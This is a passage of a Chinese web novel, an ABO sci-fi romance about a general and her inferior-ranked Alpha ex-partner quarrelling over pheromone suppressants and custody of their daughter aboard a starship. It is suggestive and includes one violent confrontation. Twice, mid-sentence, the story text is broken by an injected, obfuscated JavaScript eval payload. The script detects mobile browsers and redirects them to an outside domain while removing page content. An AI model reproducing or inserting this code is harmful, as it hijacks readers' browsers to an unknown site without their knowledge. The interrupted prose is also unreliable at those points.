可是与以往不同,本该快速褪去的躁意却并没有消失,甚至有越演越烈的趋势。 浓烈的玫瑰信息素味道迅速弥漫开来,仿佛在试探着什么,很快,一股Alpha的信息素也丝丝缕缕飘来,好像在回应她的信息素。 明毓不禁倒吸了一口凉气。 这个味道,好熟悉…… 明毓闭上眼,深呼吸。 就算她再不愿承认,但也不得不承认,她的心跳已经乱了频率。 宋青佩! 狠狠地在齿间厮磨着这个名字,明毓木着脸起身再次拿了一支抑制剂。 她面无表情地坐在沙发上,狠狠地将抑制剂再次注射下去,强行压抑着体内的反应,试图让这狼狈的热潮赶紧过去。 可不行,哪怕是第二支抑制剂下去,也不过是让体内的热潮稍微压下去了一些。 但那种微微的酥麻感,依旧在一点点地灼烧着她敏感的神经,让明毓冷淡的眸子渐渐染上了春色,她不由狼狈地闭上了眼,鸦羽微微颤抖。 "叩叩叩。" 就在明毓闭目养神的时候,房门被人叩响了。 她猛地睁开眸子,低喝了一声:"宋青佩!" 门外的人顿了一下,"是我。" 闻言,明毓瞳孔骤然紧缩,哑声道:"混蛋!滚进来!" 片刻,智能门毫无反应。 明毓恼怒于自己的失智,压着怒气道:“请进!” “指令正确。” 智能门应声打开。 门外的宋青佩还穿着来时的那身衣服,脸微微红着,眉间是难以掩盖的怒气。 真是够了,大半夜的释放什么信息素啊,要不是知道明毓对她骨子里的嫌弃与厌恶,她都忍不住怀疑对方在勾引她了。而且素了这么多年,面对这样浓烈的Omega信息素,哪怕是她这个被打上劣等标签的Alpha也受不了啊。 真不知道明毓大半夜的又发什么疯?! 宋青佩神色古怪的往里面瞅了一眼,正想开口问,就被眼前的香艳画面给惊到了,刹时间连要说的话都忘了。 只见一身黑色烫金军制服的明毓,脚踩着军靴,笔挺地坐在沙发上,下半身的熨帖与上半身的凌乱形成了鲜明的对比。她的白衬衫毫不遮掩地大敞开,在灯光的映衬下,内衣下饱满的沟壑若隐若现,惹人遐思。 她微仰着头,白皙修长的脖颈如玉雕琢般,原本透着凛冽寒光的眸子此刻眼尾泛红,隐隐有春色浮动,显然正是信息素情动之时。 "咳咳咳……"宋青佩干咳一声,赶紧背过身去。 明毓垂眸看了眼胸前纽扣早就掉落的衬衫,连拉都没有拉一下。呵,该做的早就做过了,在这矫情个什么劲。 她目光扫向站在门外的宋青佩,声音冷得像是从冰窟窿里钻出来一样:"宋青佩,立刻把你的信息素收了。" 这简直就是倒打一耙啊! 宋青佩简直要气笑了,忍不住阴阳怪气道:"尊敬的上将大人,是你的信息大半夜将我给搞醒了,我的信息素才会忍不住……成这样的!" 她说得委婉,并不想因为这种尴尬的事情和明毓产生正面冲突。 而明毓坐在沙发上,面无表情地望向宋青佩:“我发热期快来了,信息素敏感期,不能受到Alpha信息素的刺激。所以立刻把你的信息素收起来,或者去注射Alpha抑制剂,不然我不介意让人把你的信息素彻底废了。” 宋青佩难以置信地看着她,许久才憋出一句,“明明是你的信息素才导致我这样……你还讲不讲道理了。” “我的命令就是道理。” 宋青佩差点被这话气到吐血。 明毓的信息素又开始乱了,眼尾一片绯红,说出的话却宛如冰霜:“给你十分钟处理好,不然我亲自叫军医过来把你腺体割了。” 宋青佩脸色一变,她知道这个冷血的人真的会做到。 “给我抑制剂。” “去找林中尉,我这没有Alpha用的抑制剂。” 明毓依旧坐得笔直,只是微微颤抖的声音出卖了她,“你还有九分钟。” “我……”操你大爷! 宋青佩忍无可忍地在心里骂了一句,转身出去找林中尉拿抑制剂了。 随着她急促的脚步消失,智能舱门缓缓关闭,属于Alpha的信息素被隔绝在舱门之外,一直紧绷着身体的明毓陡然松懈下来,她整个身体缩在沙发上,双手本能的抚向自己脖颈后的腺体,试图安抚□□内的狂躁。 随着指尖的触摸,她不由发出一声难耐的呻吟:“嗯” 明毓缓了缓气息,才颤抖地起身,手指哆哆嗦嗦地去摸抑制剂。 又一连注射了三支抑制剂,她体内的躁意才慢慢被压下去,可因为过量的注射,她不由打了个冷战,仿佛在承受冰火两重天的折磨,不知何时便会彻底崩溃。 一点,就差一点,她刚刚就忍不住想扑到那个劣等Alpha的身上,卑微地祈求她的安抚,想到因为这人狼狈的模样,她眼底的杀意更甚。 她讨厌事情不受控制的感觉,到时若真的无法自控,只能…… 把宋青佩废了。 4. 第 4 章 宋青佩黑着脸出了休息舱,整个人气的心口疼。 不过是失个忆,一个人的性格怎么能差距这么大,曾经她的老婆温柔黏人,发热期来的时候,会坐在她怀里,勾着她的腰红着脸喊老婆,一点点将她的信息素撩拨起来,丝毫不嫌弃她过于冷淡的信息素。 可是现在,这个成了明毓上将的人,不但冷血狠辣,还不讲道理,明明是她的信息素勾的她有了反应,却冷酷的威胁要剜了她的腺体。 这样的人,变态才会喜欢。 原本还有着点老婆滤镜的宋青佩,几乎被一下给浇了个透心凉,甚至不用自我催眠了,她第一次如此清晰的认识到,亲亲老婆死了个彻底。 而因为那张脸而起来的欲望,很快就被她的理智冲淡了。 甚至不需要什么抑制剂了,被勾起的Alpha信息素就已经荡然无存了,这大概就是劣等A唯一的好处,信息素永远都不会旺盛到无法自控,她自暴自弃的想。 看着外面的满天星河,宋青佩站在回廊里冷静了片刻,转身又回了休息舱。 懒得理这个疯子,回去抱着宝贝女儿睡觉去。 宋青佩愤愤的走回休息舱,却愕然的发现,舱门被关上了。 绝对是故意的。她没好气的喊:“开门!” 回应她的是机械的声音:“指令失败!” “人脸检测失败!” “舱门无法打开!” “请重新输入指令!” 一声声机械的声音,让宋青佩的怒火蹭蹭的直往上涨。 可一怒之下,她也只能怒一下。 这里是明毓的地盘,她之前流浪星际积累的所有摸爬滚打经验,在绝对的力量面前没有任何卵用。 她只能低声下气的继续喊,希望明毓能良心发现给她开门。 可是明毓明显是没有心的,她喉咙几乎都要喊哑了,舱门没有任何反应。 几乎可以确认,她今天是进不去这个舱门了。 而明毓接连的下马威已经把她搞的没脾气了,她只能结束了这个愚蠢的叫门行为,绝望的去向林中尉求救,毕竟这是她在飞云号星舰上唯一有过接触的人。 好在林中尉之前有告诉过她住处,于是她沿着回廊,找到了林中尉的休息舱。 被智脑叫醒的林中尉,有些懵逼的打开了舱门,看到门口垂头丧气的宋青佩,难以置信道:“宋小姐,你这是?” 宋青佩不可能告诉她自己被赶出来的事,要脸。 于是她含糊道:“不好意思,林中尉,打扰你休息了。明毓上将让你帮我安排个住处。” “啊!上将不是说让你先住下吗?怎么又突然改主意了。” 林中尉不解的挠了挠头,但并没有多想,有些为难道:“那个...A级休息舱需要提前申请,现在时间已经过了,暂时无法申请。” 宋青佩一脸尴尬,也不好意思为难人家,想着随便找个没人的地方对付一下,转身就往外走。 “打扰你了林中尉,你早点休息吧。” 林中尉愣住,叫住她,“宋小姐,你这是要去哪?” 宋青佩狼狈不已,实在不知该说什么。 察觉到她的狼狈,同为Alpha的林中尉赶紧道:“那个...你要是不嫌弃,不如就在我这里先凑合一晚上,明天我给您申请休息舱。” “这...太麻烦了吧。” “不麻烦!不麻烦!我这里有超纤维空气折叠床,不费什么事。” 说着,林中尉立刻叫来了专属智能机器人,将折叠床摆放好,拿来了一套简单的军用品给宋青佩用。 “谢谢你,林中尉。” 这是宋青佩发自内心的感谢,一个刚认识的人都比她的冷血前任好。 林中尉憨厚的摸了摸头,招呼宋青佩躺下休息,两人本就不熟,很快剩下的就只剩下了沉默。 宋青佩翻来覆去,根本睡不着,满脑子都是这样绝望的日子可怎么过。 而年轻的林中尉则是被满满的好奇心搞得心痒难耐,根本睡不着。 冷漠禁欲的上将大人,高高在上的帝国玫瑰,居然和眼前这个名不见经传的Alpha有了三岁的孩子,而且两人的关系似乎还不怎么好,她实在是好奇极了这两人的故事。 犹豫再三,她还是忍不住开口:“宋小姐,你没睡吧?” 宋青佩被她突然的声音下了一跳,回过神来,嗯了一声。 林中尉还是没忍住八卦道:“那个...您和上将大人是怎么认识的啊?” 刚刚平复心情的宋青佩,再次被无意中戳到了心窝子,关于她和明毓的孽缘,她真的是一点也不想回忆了,而且如果她敢乱说,明毓也绝不会饶了她的。 于是她直接把锅甩到了明毓身上,含糊道:“就正巧认识的,明毓上将不让我乱说,你能理解吧。” “理解,理解。” 林中尉忙不迭的点头,上将大人不让说,她就是好奇死也不敢再问了。 两人又随口说了几句话,便相继入睡。 等宋青佩再行来的时候,还是被林中尉叫醒的,告诉她休息舱已经安排好了,她可以去自己的休息舱休息。 宋青佩清醒过来,第一反应就是去找女儿。却被林中尉告知,颂颂一大早就跟着上将去机甲训练场了,她赶紧跟着林中尉一起过去。 一进去,就感觉到了极强的战斗气息。 只见五架黑色的巨型机甲,正将一架赤焰红的机甲团团围住,同时向其发动了攻击,一时间枪林弹雨的打的热闹,硝烟弥漫,让她根本看不真切,只能隐约看见赤焰色的机甲在敏捷的闪躲着攻击。 宋青佩的目光,一下就落到了一辆赤焰红的机甲身上。 这个机甲,她见过,是明毓的座驾——‘焰’。 她往四处望了望,根本没发现女儿的踪影,难以置信的想到了唯一的可能,明毓不会是带着颂颂在1V5吧! 而仿佛是为了证明她的猜想般,焰在成功的闪躲过一波攻击后,很快反守为攻,以更加猛烈的态势,打乱了五架机甲组成的攻击阵型。 宋青佩看的心惊胆颤。 只见焰抓住一个黑色机甲的漏洞,立刻趁机发动攻击,几乎是眨眼间就将其摧毁,而其余的几台机甲,则趁势试图合围,但是根本追不上焰的移动速度。 再一轮攻击下来,就只剩下一架黑色机甲还在勉强坚持。 而不过两个回合间,最后一架机甲也被击落右翼,发出滴滴的警报声。 一旁看的目不转睛的林中尉,不由发出一声惊呼:“天!不愧是上将大人,带着孩子1V5还能赢得如此漂亮!” 而见到如此凶险的一幕,宋青佩的瞳孔瞬间缩紧,立刻向焰跑去。 此时,明毓的机甲缓缓打开舱门。 只见颂颂坐在明毓怀里,一边挥舞着小胳膊,一边欢呼:"哇!妈妈你快看,妈咪好厉害啊!她一个人可以打五个!打五个哎!" 一旁的上将,面无表情的抱着女儿起身。 她的目光短暂的落在宋青佩身上,眼眸中闪烁着危险的寒芒。 如果不是这个可恶的女人,她根本就不需要一大早来训练场发泄自己无法自控的信息素,这是她的耻辱。 而宋青佩对此毫不自知,紧张兮兮上前的问:"颂颂,你没事吧?有没有哪里不舒服?" "没有!颂颂很勇敢,没有害怕哦。" 颂颂兴奋的摇晃着小手,一副小骄傲的模样。 听到女儿的回答,宋青佩才松了一口气,赶紧趁机伸手接过颂颂。 明毓冷着脸将颂颂交给她,淡定自若的收回了视线。 一旁的林中尉上前:“上将,二十分钟后有个军部会议,是否如期召开。” “如期。” 明毓惜字如金,只有面对颂颂时才吝啬的露出了一丝笑意。 她和颂颂又说了几句话,在颂颂一通妈咪好厉害的彩虹屁下,笑着答应还带她来看机甲打架,才带着林中尉离开。 “妈咪再见,颂颂会乖乖等你回来的。” 颂颂依依不舍的冲明毓摆着手,要是身后有个尾巴,恨不得摇起来。 宋青佩忍不住一口老血梗在喉头,瞬间有了极强的危机感,自己这到处漏风的小棉袄,不会就这么轻易的被明毓的糖衣炮弹给拐走了吧。 “妈妈,你去哪了啊?我早上醒来都没找到你。” 还好还好,小棉袄心里还是有她的。 宋青佩自我安慰找,抱起颂颂道:“妈妈有点事出去了一下,走吧,我们回去吃饭。” 两人离开训练场,穿过长长回廊。 路过明毓的私人休息舱,宋青佩又想起了昨天被关在外面的耻辱,暗自咬牙,抱着女儿加快了脚步往自己被安排的休息舱走去。 颂颂拉住她,歪了歪脑袋,指着休息舱笑:“妈妈笨笨,不记得路了哎,我们到啦。” 宋青佩苦笑,无奈解释道:“颂颂,我们进不去......” 话没说完,颂颂奶声奶气的声音响起:“小焰焰,开门啦!” 智能舱门原本毫无感情的机械音,突然变成了甜美小姐姐音:“指令接收完毕啦!” “人脸检测成功啦!” “舱门打开喽!” “欢迎亲爱的小公主回家!” 一连串甜的发腻的夹子音指令,听得宋青佩一脸懵逼。 进了门,她才从女儿嘴里套出话来,原来今天早上颂颂醒来哭着找妈妈,明毓为了哄她,直接给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921482|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂颂开通了接入了休息舱总智脑的权限,在总智脑的帮助下,颂颂很快的学会了使用休息舱内的智能设备。 小家伙无比嫌弃毫无感情的机械音,于是让智脑将休息舱内的语音系统换了,从结果看,她很明显对甜美姐姐夹子音情有独钟。 宋青佩嘴角不由抽搐了一下。 一时不知道该欣慰于明毓对女儿的喜爱,还是心疼被区别对待的自己。 而对此一无所知的颂颂,还在兴冲冲的说着机甲,她的妈咪多么厉害,看得出来,小家伙确实很喜欢机甲。 这难道就是遗传的力量吗? 一瞬间,宋青佩忽然有些心酸,忍不住对自己的决定产生了片刻动摇。 她将女儿留在身边是否太过自私?正如明毓所说,从长远考虑,将颂颂留在明毓身边明显是更好的? 可是...她真的不舍得,颂颂是她这个世界上唯一的亲人了。 好在她不是个容易自我内耗的人,很快就下定决心,继续努力,终归还有两年时间,将一切交给时间吧,眼下还有更棘手的事情要解决。 明毓显然不欢迎她,这段时间颂颂和谁住就是一个棘手的问题。 见妈妈不说话,颂颂晃了晃她的肩膀,“妈妈,你怎么了?不开心吗?” “妈妈没事。” 宋青佩很快收拾好心情,诱哄道:“颂颂,妈妈不能在这里住了,我带你到妈妈住的地方玩好不好?” 颂颂睁大了水灵灵的眼睛,满是不解:“妈妈,我们不和妈咪住一起吗?” 虽然宋青佩并不想让女儿因为大人的事受到伤害,但是如今的情况,她根本就瞒不下去了,只能尽量含蓄的向女儿解释: “颂颂,你妈咪不喜欢和我住在一起,所以......"她一咬牙,还是有些残忍的说:“颂颂只能选择跟妈妈睡,或者跟妈咪睡。明白吗?” “哦。” 颂颂看上去有些不开心,但很快就接受了这件事,“那妈妈,我们走吧,我等妈咪有空再来找她玩。” 宋青佩不由松了一口气,带着颂颂回了新的休息舱。 一整天,她的心都提着,担心明毓不会如此简单的就同意她带着颂颂单独住。 可直到她都把颂颂哄睡了,明毓都没有找来,她这才松了口气。 可刚躺下没多久,休息舱门就响了,通过虚拟影像可以看到林中尉正站在门外,脸色看上去不是很好,她心里不由咯噔一下,预感没什么好事。 她起身打开舱门,走出去,“林中尉,有什么事吗?” 林中尉:“宋小姐,上将让我带去去一下医疗舱。” 去医疗室干什么? 宋青佩愣了一下,警惕道:“她没说什么事吗?” 林中尉摇了摇头,明显只是奉命行事,宋青佩昨天刚被人家收留,更不好为难人家,只能叮嘱她让人看着点女儿,无奈的跟着去了医疗舱。 路上,林中尉几番欲言又止。 最后在宋青佩的追问下,道:“宋小姐,上将大人回到休息舱发现没人脸色就不太好,后来不知道发生了什么事,上将大人突然去了医疗舱,没多久,就怒不可遏的让我带您过去。”说完,又担忧的补了一句,“我从来没见过上将大人发这么大火,您还是小心点吧!” 这下搞得宋青佩更忐忑了。 可思来想去,她也只是将颂颂带回了自己住的休息舱,不至于发这么大火吧? 到了医疗舱,林中尉在门前停住,示意她一个人进去。 舱门打开,宋青佩硬着头皮走了进去,一个智能机器人给她带路,穿过长长的走廊,来到了医疗舱的内部。 远远看见一个穿着白色医疗服的军医,似乎正在给半躺着的明毓注射药剂。 明毓衣衫褪到肩头,手狠狠地攥着衣角,面颊绯红,额头沁出了浓密的汗珠,显然在忍受强烈的痛苦,随着药剂注射完,她的脸色才缓和一些,整个人无力的瘫在医疗床上,闭眼休息。 军医注射完药剂,看向宋青佩,声音如沐春风,“宋小姐,你来了。” 宋青佩有些懵,正想上前询问一下怎么回事,只见躺下的明毓听到声音猛地坐起身,狠狠地瞪向宋青佩,咬牙切齿,"宋青佩,你干的好事!" 宋青佩:??? 什么情况?她干嘛了吗? 军医见两人神态各异,心里微微叹气,身为明毓上将的私人医生,她太了解上将的身体了,这位宋小姐也是倒霉,正好撞到了枪口上。 "宋小姐,上将因为你的信息素刺激,导致发热期提前到来,且难以控制......" 军医还没把话说完,便被明毓打断。 "立刻给她注射强效抑制剂,我不想再闻到她的信息素。" 5. 第 5 章 饶是宋青佩一直试图避免和明毓产生冲突,但听到这个无理的要求也不由炸了。 这人是疯了吧?简直莫名其妙! 再忍下去,怕是真要割她腺体了,就算是劣A也是有尊严的好不好。 她不由朝着明毓瞪了回去,反唇相讥道:“你发热期提前来了和我有什么关系?明明是你的信息素先勾引我的,就算你是上将,也要讲道理吧!” 明毓显然没想到,一向唯诺的宋青佩居然敢当着军医的面这么跟她说话。 她眸中的惊诧一闪而过,随即变为满腔怒火,胸口急促地起伏着,指着她道:“宋青佩,你……大胆,闭嘴!” 原本该是威胁的话,却因为明毓脱力的声音多了几分嗔怒的意味。 这诡异的场面,让一旁的军医看得也不由愣住,生怕两人再说出什么劲爆的话来,到时候更加尴尬了。 她赶紧打圆场:“上将,您冷静点,刚刚注射的强效抑制剂本就有严重的副作用,切忌情绪激动,不然容易刺激的信息系更加紊乱,到时候可就更棘手了。” 闻言,明毓眉心闪过浓浓的悲愤,最后却只得无奈压抑下自己的怒火。 她的身体自己清楚,如今注射的抑制剂已经是效果最强力的,若是再没有效果,她不敢想象后果。 见她终于平静下来,军医这才松了口气,“上将,您先休息半小时,等药物完全起作用后,我们观察一下效果再做后续安排。” 明毓冷着脸点了点头,军医马上按下了医疗床的休息模式,透明的舱门缓缓关闭,可以看到明毓缓缓闭上了眼。 宋青佩一脸懵逼地看着,到现在也没搞清楚自己被叫来到底是干嘛的。 想开口问,又害怕军医是明毓的人,根本不会搭理她。 正尴尬着,好在军医终于将视线落到了她身上,和煦地笑道:“宋小姐,我们单独谈谈吧,有些事情你也需要了解一下。” 宋青佩自然求之不得,于是随着军医走到了一旁的诊室。 进门的时候,宋青佩正好看到诊室门牌上写着——李蔓。 只有二十八岁,年纪轻轻就已经是高级军医了,是个很优秀的Omega,难怪能成为明毓的贴身军医。 “宋小姐,您不必紧张。” 李蔓笑了笑,安抚道:“请坐,我给您看一下明上将的病历。” 宋青佩一脸狐疑地坐下,李蔓很快点开了电子病历,病历内容立刻被投影到了对面的电子屏幕上,一声突兀呻吟撞入她的耳膜。 “嗯,啊” 开始就是炸裂的香艳画面,明毓躺在医疗床上,面色潮红,双眸含春,双手死死地攥着床沿,修长的脖颈高高扬起,仿佛被缚的天鹅,偶尔溢出几声低低的呻吟。 这样的画面,一帧一帧的快速闪过。 宋青佩顿时看得头皮有些发麻,这……反差实在太大! 如果不是她真的经历过,失忆的老婆趴在她身上柔声求欢,情动时发出这般诱人的声音,真的完全无法将这和高冷的明毓上将联想成一个人。 这刺激实在太大,宋青佩茫然道:“李医生,你给我看这些是……什么意思?” 李蔓笑笑,示意她别急,继续看下去。 没办法,宋青佩只得咬牙看下去。 面对曾经的枕边人这般大尺度画面,对她着实有些折磨,饶是被标记为劣等A她也不由有些情动,可是想到明毓刚才咬牙切齿的威胁要给她注射强效抑制剂,她很坚定地忍住了信息素的外溢。 正襟危坐,神色凝重,仿佛在观看什么严谨的学术论文。 看着宋青佩这一副正经的模样,连李蔓也不由震惊了,很少有Alpha面对这等诱惑如此淡定,除非对于精神力的自控足够强大,可这样的人更不应该被标记为劣等Alpha。 除非…… 想到那个唯一的可能,她不由打了个寒战。 眼前的人看上去平平无奇,怎么可能会是整个星盟在找的人,不可能吧! 宋青佩完全不知李蔓心里的惊涛骇浪,只是庆幸香艳的画面终于结束了,剩下的都是对于明毓病情的治疗记录,和最后总结的治疗建议。 而概括下来,无非就是: 明毓被完全标记后信息素异常旺盛,发热期更是敏感,需要伴侣Alpha的定期标记,而她这两年来,却一直依靠抑制剂强行压抑发热情期,导致发热期越来越激烈,抑制剂的作用也一直越来越小,使用的剂量越来越大,随时有失控的危险。 这次明毓的发热期提前到来,在宋青佩的Alpha信息素刺激下,明毓的信息素彻底失控,发热期从未有过的激烈,原本的抑制剂全部失效。 在明毓的强烈要求下,李蔓只得给她注射了尚在实验阶段的强效抑制剂,但具体效果未知,副作用未知,其中的危险更是未知。 看完这些,宋青佩嘴唇张张合合,许久没有吐出一个字。 呵,明毓宁愿忍受如此痛苦,都不想被她碰一下,面对这赤·裸裸的嫌弃她还能说什么呢? 见她神色颓唐,李蔓着实有些同情。 但本着医者仁心,她还是道:“宋小姐,我知道你和上将之间……可能有些不为人知的过往。但是站在医生的角度,还是希望你们能好好谈谈,毕竟上将的信息素不可能长时间被抑制剂压制,彻底失控也只是时间问题。” 宋青佩不理解,她们之间还能有什么好谈的? 明毓都气到要给她注射抑制剂,甚至威胁要剜了她的腺体的地步,她现在就是个待宰的羔羊,只要明毓的信息素出现任何问题,她都会被明毓迁怒。 宋青佩气得发抖,绝望道:“李医生,就没别的办法了吗?” “目前是没有的。” 李蔓无奈地摇了摇头,解释道:“宋小姐,你的Alpha信息素太过强势,对上将的完全标记根本没办法人工洗去,目前上将是无法接受再被别的Alpha标记的。” “怎么可能!”宋青佩愕然道:“我的检测结果是劣等A,精神力极其弱,对于Omega的标记是最低等的,甚至连机甲都没资格开。” 听她这么说说,李蔓并没有很奇怪,之前她已经从明毓口中知道了这些信息。 因为没有见到宋青佩本人,她也不好对此下具体的结论。 此刻再次提起这个话题,想到自己的猜测,她赶紧忍着激动提议道:“宋小姐,检测结果有时也会出现错误,不如,我亲自给你做一次检测。” 思考片刻,宋青佩很爽快地答应了。 毕竟她也想赶紧把事情搞清楚,跟明毓划清界限,谁知道这个不讲理的疯子后面还要怎么迁怒她,真要一怒之下剜她腺体,她为了女儿都没法跑。 获得她的同意,李蔓立刻带她进了检测室。 经过一番检测,李蔓起身道:“宋小姐,检测结果需要四个小时才能出来,到时候我会通知你,我们先去看看上将吧。” 宋青佩下意识皱眉。 李蔓以为她害怕明毓会迁怒她,笑着安慰道:“宋小姐,你不必担心,刚才不过是上将的愤然之语。没有患者同意,我们是不会私自给患者注射强效抑制剂的,更不可能剜患者腺体。” 但是,这话并没有安慰到宋青佩。 只要明毓有了这个想法,以她的脾气和手段,绝对有无数的方法逼她就范,女儿就是她的软肋,明毓再清楚不过。 想到此,宋青佩一咬牙,“李医生,我接受注射抑制剂。” 反正她也没有多少这方面的需要,注射了抑制剂,明毓总不能再把自己无法自控的信息素赖到她身上了吧。 李蔓无奈地叹了口气,“好,跟我来吧。” 注射抑制剂前,李蔓按照流程询问了宋青佩曾经的注射剂量和次数,得知宋青佩竟然从未注射过抑制剂,又是个大大的震惊脸。 完全标记过Omega的Alpha,就算是信息素再冷淡,也不可能对此毫无需求。 除非她后面又标记了新的Omega。 想到这个可能,李蔓不由得佩服起了宋青佩的胆大包天,完全标记了上将后,居然还敢标记新的Omega。 要是被上将知道了,真是不敢想后果。 她眸色复杂地看了宋青佩一眼,还是按照流程道:“宋小姐,请问你上次和Omega发生关系是什么时候?” 宋青佩都被问蒙了。 她跟明毓都两年没见了,李医生不是应该早就知道了,怎么还问? 只当是医生的例行询问,她如实道:“啊,就两……”年字没来得及说完。 就见李医生陡然起身,冲着她身后关切道:“上将,您怎么自己出来了?感觉怎么样?” 宋青佩赶紧回头,就见明毓正冷着脸站在她身后。 原本就冷的脸色,此刻更是欺霜赛雪,冷的仿佛雪山之上的雪莲花。 她看都没看宋青佩,对李蔓道:“李医生,目前信息素还算平稳,应该是有效果的。” “那就好。”李蔓松了一口气,“那上将明天再过来做个检查,我采集您身体的各项数据做一下比对。” “好。” 明毓说完毫无感情地斜了宋青佩一眼,皱眉问:“给她注射抑制剂了吗?” 李蔓说:“宋小姐已经同意了,我马上给她注射。” 明毓没再说话,只是坐到一边默默等着,好似怕两人联手敷衍她一样。 原本李蔓还想再详细问问宋青佩,此刻明毓杵在这里,她更是不敢随便问了,生怕明毓知道宋青佩居然敢标记别的Omega,一怒之下,真的逼着她把宋青佩的腺体给剜了。 李蔓习惯性地认为宋青佩只是两个月没有标记Omega,陡然戒断Alpha信息素的正常到来,需要比较强效的抑制剂,不然很容易被Omega信息素诱发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921483|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕宋青佩万一克制不住被明毓迁怒,她一咬牙给宋青佩注射了强效抑制剂。 宋青佩很不适应强效抑制剂,疼得龇牙咧嘴,额头冒出了阵阵冷汗。 李蔓关心地询问了她一番,告诉她这是正常的反应,而且这几天可能会有些身体发冷,无力的情况出现,嘱咐她好好休息。 宋青佩咬牙点点了头,还没恢复过来,就被明毓起身催促离开。 她捂着针头注射的地方,偷偷在心里骂了句冷血,起身跟李蔓道了句谢,默默跟着明毓离开。 两人一路无话。 明毓长腿笔直,走路如风,本就不舒服的宋青佩艰难地跟着,到最后索性摆烂,慢悠悠地走着也不追了。 走在前面的明毓见她没跟上来,眉目紧颦,停下脚步,满目不耐烦。 等宋青佩跟上来,她冷声嘲讽道:“你能不能快点,不过只是注射抑制剂罢了,要死要活给谁看。” 她的语调阴阳怪气,听得人头皮发麻。 宋青佩本就身体不舒服,此刻听到她这么刻薄的话,忍不住反唇相讥道:“是是是,我自然是比不了明上将你经验丰富,毕竟你的信息素可是旺盛到一晚上要注射七次抑制剂……” “宋青佩!” 明毓突然厉喝一声打断她的话。 宋青佩呼吸一窒,却没有退缩,咬着牙坚持道:"我说的是事实,上将何必如此大惊小怪。" 说完,她转身就走。 明毓一个箭步跨到她面前,伸手掐住了她的脖子,狠狠压向墙壁,冷冷地盯着她道:"你再说一遍试试?" 周身的气势太过骇人,饶是宋青佩也忍不住有些本能的畏惧。 但是想到两人过往,还有自己的忍气吞声,一瞬间倔脾气也上来了,不肯示弱道:"我有什么不敢说的。” “明毓,我告诉你,从你恢复记忆的那一刻,我就当你死了,更不可能对你还有什么想法。” “明明是你自己信息素太旺盛,自己控制不住迁怒于别人算什么本事。” “早知道你是这么冷血不讲理的人,我当初就不该救你!” 一股脑地将自己的不满吼出来,宋青佩只觉得通体舒畅。 殊不知明毓的脸色早已铁青一片,看向宋青佩的冷眸,仿佛淬了毒般寒光闪烁,恨不得吃掉她似的。 宋青佩一怔,心脏突突乱跳。 “好好好!” 明毓连说了三个''好'',声音阴沉,她掐着宋青佩的脖颈,一字一句:"那么现在,我就让你尝尝什么才叫冷血,什么才叫不讲理!" 说罢,明毓一把将她推开。 宋青佩被推得踉跄倒退了几步,贴着墙壁咳嗽起来,双唇颤抖。 明毓却像是没看见一样,点开了自己的智脑,命令道:"林中尉,立刻过来将宋青佩带到禁闭舱,没有我的允许,不准她踏出舱门一步。" 她的声音不大,可语气里透着的决绝让宋青佩浑身冰凉,整颗心都揪了起来。 "明毓!你要干什么!你疯了!"宋青佩愤怒地大喊。 明毓充耳不闻。 很快,林中尉就带着人匆忙赶到。 看到眼前两人剑拔弩张的场景,她吓了一跳,更是不敢询问上将大人原因,只能歉疚地看了一眼宋青佩。 “宋小姐,得罪了。” 宋青佩被一左一右两个人架住,动弹不得。 她心慌意乱地挣扎道:"放开我!明毓,你这个混蛋,你想干什么?" 明毓不予理会,冷漠地转身离开。 见状,林中尉一脸无奈地挥了挥手,将本就无力的宋青佩拖进了禁闭舱。 本着相识一场,林中尉还是忍不住劝道:"宋小姐,您何必跟上将对着干,不如赶紧服个软,上将气消了,肯定会放您出去的。” 宋青佩仿佛失去了所有的力气,整个人蔫巴巴地靠在墙角,一言不发。 林中尉叹了口气,摇摇头转身走了。 禁闭室的舱门被关上,宋青佩的心顿时跌入谷底。 她倒是不怎么担心女儿,毕竟看明毓对颂颂的态度,是真的在意和心疼。 可明毓这次的行为,彻彻底底地将两人不平等的关系血淋淋的撕裂开,真的伤到了她。 她知道明毓出身高贵,是众人仰望的帝国玫瑰,她们之间隔着无法逾越的鸿沟,人家看不起她,嫌弃她是正常的。所以不管想起那些温馨甜蜜的岁月,心里有多么的痛苦,她都不曾怨过明毓。 她知道自己不配。 可是此刻,她第一次对明毓产生了恨意。 她明明救了明毓,明明一切都是她自愿的,她却这样恩将仇报, 就因为她失忆了? 宋青佩想到这,不由捂住脸,肩膀微微颤抖,混杂着隐忍的抽泣声,有泪水自指缝滚落。 她到底做错了什么,为什么要承受这些? 6. 第 6 章 明毓一气之下将宋青佩关进禁闭舱后,很快便有些后悔。 因为女儿,她并不想两人彻底闹翻,可是想想宋青佩刚才说的话,她便忍不住怒火中烧。 那人就是在阴阳怪气地羞辱她,说什么信息素旺盛,根本就是在讽刺她浪,不知羞耻,尤其是想到自己曾经卑微地缠着人求欢,和这样的人缠绵纠缠更是怒火中烧。 这无疑戳中了上将大人敏感的自尊心。 也该给宋青佩些教训,免得总想挑衅她。 短暂的后悔,明毓上将很快便将这事抛到了脑后,先是去看了下女儿,确认颂颂一直在安心睡觉,便吩咐了林中尉守着,回去休息了。 至于明天如何跟女儿解释宋青佩不在? 明毓轻蔑地想,以宋青佩软弱的性格,想必很快就会向她服软的,到时候她再敲打一二,想来对方便不敢再向她大胆示威了。 